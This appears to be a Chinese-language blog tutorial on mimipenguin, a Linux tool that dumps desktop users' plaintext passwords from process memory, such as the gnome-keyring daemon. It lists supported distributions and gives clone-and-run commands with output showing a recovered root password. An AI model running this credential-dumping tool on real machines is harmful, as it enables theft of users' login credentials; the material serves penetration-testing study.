mimipenguin

小维

mimipenguin描述

mimipenguin 是一个免费、开源、简单但是强大的 shell/python 脚本，用来从当前 Linux 桌面用户转储登录凭证（用户名和密码）的一款工具，适合不同的Linux发行版本，基于流行的Windows工具mimikatz。

mimipenguin 细节

当用户名和密码是由进程（运行中的程序）保存在内存中，并以明文形式存储较长时间。mimipenguin 在技术上利用这些在内存中的明文凭证 - 它会转储一个进程，并提取可能包含明文凭据的行。

然后，通过以下内容的哈希值来尝试计算每个单词的出现几率：`/etc/shadow`、内存和 regex 搜索。一旦找到任何内容，它就会在标准输出上打印出来。(使用内存中已知结构的硬编码偏移量以及PTRACE可靠地从Linux桌面环境中提取明文用户密码。)

环境介绍

```
目标靶机：Ubuntu 18.04.2 LTS
gnome-keyring: 3.28.0.2
```

具备条件

```
# root权限
```

目前支持的目标

OS	服务	支持的
Ubuntu Desktop 12.04 LTS x64	gnome-keyring-daemon（3.18.3）	✔
Ubuntu Desktop 16.04 LTS x64	gnome-keyring-daemon（3.18.3）	✔
Fedora Workstation 25（x86_64）	gnome-keyring-daemon（3.20.0）	✔
Fedora Workstation 27（x86_64）	gnome-keyring-daemon（3.20.1）	✔
Kali-rolling x64	gnome-keyring-daemon（3.28.0.2）	✔

攻击利用

```
#git下载mimipenguin(需安装git)
git clone https://github.com/huntergregal/mimipenguin.git
```

```
root@[redacted]:~# git clone https://github.com/huntergregal/mimipenguin
Cloning into 'mimipenguin'...
remote: Enumerating objects: 460, done.
remote: Total 460 (delta 0), reused 0 (delta 0), pack-reused 460
Receiving objects: 100% (460/460), 157.60 KiB | 405.00 KiB/s, done.
Resolving deltas: 100% (207/207), done.
```

```
# 运行mimipenguin获取凭证
cd mimipenguin/
./mimipenguin
```

```
~# cd mimipenguin/
~/mimipenguin# ls
  mimipenguin  mimipenguin_x32  README.md  src
~/mimipenguin# ./mimipenguin
```

成功

```
root@[redacted]:~# cd mimipenguin/
root@[redacted]:~/mimipenguin# ls
LICENSE  Makefile  mimipenguin  mimipenguin_x32  README.md  src
root@[redacted]:~/mimipenguin# ./mimipenguin
[+] GNOME KEYRING (2731)
  [-] root:root
```